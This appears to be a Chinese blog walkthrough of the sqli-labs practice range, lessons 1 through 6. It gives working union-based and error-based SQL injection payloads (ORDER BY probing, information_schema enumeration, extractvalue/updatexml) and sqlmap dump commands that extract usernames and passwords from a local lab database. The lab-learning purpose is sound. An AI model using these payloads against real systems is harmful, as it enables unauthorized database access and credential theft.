sqli-labs(1)

1.

sqli-labs(1)_第1张图片sqli-labs(1)_第2张图片当id为1的时候回显正常

sqli-labs(1)_第3张图片

通过‘发现报错,验证sql注入存在

sqli-labs(1)_第4张图片

--+可以正常注释后面的内容,通过order by 查询有几列数据

sqli-labs(1)_第5张图片

当查询4列的时候发现错误得到有3列的信息

sqli-labs(1)_第6张图片

这里的id为-1,-1的数据不会存在给后面查询的1,2,3留下了显示位,正常为1时2,3的显示位为查询出的结果

union select 联合查询找回显位置

sqli-labs(1)_第7张图片

在2的位置替换为我们要查询的语句 database() 查询当前的数据库

sqli-labs(1)_第8张图片

group_concat(table_name) from information_schema.tables where table_schema = ‘security’ 

group_concat 用于将多个表名一起输出出来

table_name from information_schema.tables 查询表名在information_schema.tables中information_schema.tables通过该库能够查看mysql以下的数据库

where table_schema = ‘security’ where同时满足 数据库等于security

可以看到有emails,referers,uagents,users四个表 

sqli-labs(1)_第9张图片

group_concat(column_name) from information_schema.columns where  table_schema = 'security' and  table_name = 'users' --+查看users表中的列

这里是查询类名 和上面的表名是一样的只是用的不同的库

里面有username和password两列

sqli-labs(1)_第10张图片

group_concat(username),group_concat(password) from security.users --+

这里直接查询了两个列的数据用了两个group_concat所以要留两个显示位,如果单列查询则不用注意

sqlmap直接爆破就可以

sqli-labs(1)_第11张图片

2.

sqli-labs(1)_第12张图片

sqli-labs(1)_第13张图片

sqli-labs(1)_第14张图片

当我们输入单引号双引号的时候发现报错但是去除单引号双引号正常所以知道这里不用单引号双引号

sqli-labs(1)_第15张图片

sqli-labs(1)_第16张图片

?id=1 order by 4 --+

sqli-labs(1)_第17张图片

?id=-1 union select 1,2,3 --+

sqli-labs(1)_第18张图片

?id=-1 union select 1,2,database() --+

sqli-labs(1)_第19张图片

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

sqli-labs(1)_第20张图片

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

sqli-labs(1)_第21张图片

?id=-1 union select 1,group_concat(username),group_concat(password) from security.users --+

sqlmap
└─# sqlmap -u "http://192.168.1.200:86/Less-2/?id=1" --batch -D security -T users --dump                                                                                                                                             

3.

sqli-labs(1)_第22张图片

通过报错得sql语句带有括号

sqli-labs(1)_第23张图片

sqli-labs(1)_第24张图片

sqli-labs(1)_第25张图片

sqli-labs(1)_第26张图片

?id=1')order by 3 --+
?id=1')order by 4 --+

sqli-labs(1)_第27张图片

?id=-1')union select 1,2,3--+

sqli-labs(1)_第28张图片

?id=-1')union select 1,2,database()--+

sqli-labs(1)_第29张图片

?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

sqli-labs(1)_第30张图片

?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

sqli-labs(1)_第31张图片

?id=-1')union select 1,group_concat(username),group_concat(password) from security.users --+

sqli-labs(1)_第32张图片

sqlmap
└─# sqlmap -u "http://192.168.1.200:86/Less-3/?id=1" --batch -D security -T users --dump                                                                                                                                             

4.

sqli-labs(1)_第33张图片

根据报错知道是双引号带括号

sqli-labs(1)_第34张图片

sqli-labs(1)_第35张图片

?id=1")order by 3--+
?id=1")order by 4--+

sqli-labs(1)_第36张图片

?id=-1")union select 1,2,3--+
?id=-1")union select 1,2,database()--+

sqli-labs(1)_第37张图片

?id=-1")union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

sqli-labs(1)_第38张图片

?id=-1")union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'--+

sqli-labs(1)_第39张图片

?id=-1")union select 1,group_concat(username),group_concat(password) from security.users --+

sqli-labs(1)_第40张图片

sqlmap
└─# sqlmap -u "http://192.168.1.200:86/Less-4/?id=1" --batch -D security -T users --dump   

5.

sqli-labs(1)_第41张图片

第5题里面我们发现如果id存在只会返回You are in 并不会回显数据,所以这里用不了联合注入

sqli-labs(1)_第42张图片

通过测试发现报错信息会显示,这里使用报错注入

sqli-labs(1)_第43张图片

?id=1'and(extractvalue(1,concat(0x5c,database())))--+
?id=1'and (updatexml(1,concat(0x7e,database(),0x7e),1))--+
这里用了两种报错方法 还可以使用floor报错,NAME_CONST报错,join报错,exp报错,
GeometryCollection()报错,polygon ()报错,multipoint ()报错,
multlinestring ()报错,multpolygon ()报错,linestring ()报错
每种报错在使用时要注意不同的使用格式

sqli-labs(1)_第44张图片

?id=1'and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1))--+
?id=1'and (extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')))) --+

sqli-labs(1)_第45张图片

?id=1'and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' )))) --+
?id=1'and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)) --+

这里只能显示一条信息用limit 分开查看

sqli-labs(1)_第46张图片

?id=1'and (updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users limit 0,2),0x7e),1))--+
?id=1'and (extractvalue(1,concat(0x7e,(select (username) from security.users limit 0,1 ))))--+
这里也可以分开查询username 和password的信息

limit offeset,size

offeset代表从哪开始 默认为0 

size 为偏移量

sqli-labs(1)_第47张图片

sqlmap
└─# sqlmap -u "http://192.168.1.200:86/Less-5/?id=1" --batch -D security -T users --dump  

6.

sqli-labs(1)_第48张图片

sqli-labs(1)_第49张图片

这里使用之前的语句发现没有报错猜测是没有正确闭合语句

sqli-labs(1)_第50张图片

改为双引号发现成功闭合页面返回报错

?id=1"and (updatexml(1,concat(0x7e,database(),0x7e),1)) --+
?id=1"and (extractvalue(1,concat(0x7e,database()))) --+

sqli-labs(1)_第51张图片

?id=1"and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')))) --+
?id=1"and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1)) --+

sqli-labs(1)_第52张图片

?id=1" and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)) --+
?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')))) --+

?id=1" and (extractvalue(1,concat(0x7e,(select username from security.users limit 0,1)))) --+
?id=1" and (updatexml(1,concat(0x7e,(select password from security.users limit 0,1 ),0x7e),1)) --+

sqlmap
└─# sqlmap -u "http://192.168.1.200:86/Less-6/?id=1" --batch -D security -T users --dump  

sqli-labs(1)_第53张图片

你可能感兴趣的:(靶场,sql,数据库,安全)